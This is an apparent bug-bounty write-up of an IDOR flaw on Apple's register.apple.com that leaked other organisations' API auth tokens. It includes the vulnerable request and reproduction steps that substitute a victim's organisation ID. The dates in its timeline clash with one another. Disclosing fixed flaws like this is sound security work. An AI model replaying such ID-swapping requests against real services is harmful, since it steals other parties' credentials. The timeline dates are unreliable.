Apple -IDOR worth 12000$ by Stealing Business API auth token on https://register.apple.com(IDOR)

Company Information : 

Apple Inc. is an American multinational technology company headquartered in Cupertino, California. As of March 2023, Apple is the world's biggest company by market capitalization, and with US$394.3 billion the largest technology company by 2022 revenue.


Bug Category : 
Insecure direct object reference(IDOR ) : 
Insecure direct object reference is a type of access control vulnerability in digital security. This can occur when a web application or application programming interface uses an identifier for direct access to an object in an internal database but does not check for access control or authentication.



Target  Information : 

https://register.apple.com



Technical Details of the Bug : 

On the team members section there is a option of create new Secret  key . The request is vulnerable to IDOR attack 

With organisation ID.

##Vulnerable HTTP request :

```

POST /business/api/authtoken/VENUES/[Org_ID]/generate HTTP/1.1

Host: register.apple.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://register.apple.com/business/ui/members/member?memberId=MBR-51870294-3f47-4be3-95ec-205cd2184103

Content-Type: application/json;charset=utf-8

Content-Length: 2

Origin: https://register.apple.com

Connection: close

Cookie: [cookies]

```


##Steps to reproduce :

You will need 2 accounts to reproduce the issue. Victim (victim Org)and attacker account. 

1.Login from attacker account and go to teams.

2.Go to any member and in the right upper corner you will see advanced option.

3.Click on it and you will see Create new API key button.

4.Now Click on it and intercept the request.

5.The request would look like above mentioned request.

6.Change the Org_ID to victim Org_ID and in the response you will get the Auth token for Org from victim account. 




Timeline : 



Dec 20th 2020: Report send to Apple product Security Team through Email.

Feb 26th 2020: Report Accepted and Triaged.

March 11th 2020: Complete issue was resolved and confirmed.

March 11th 2020: 12000$ Bounty Rewarded

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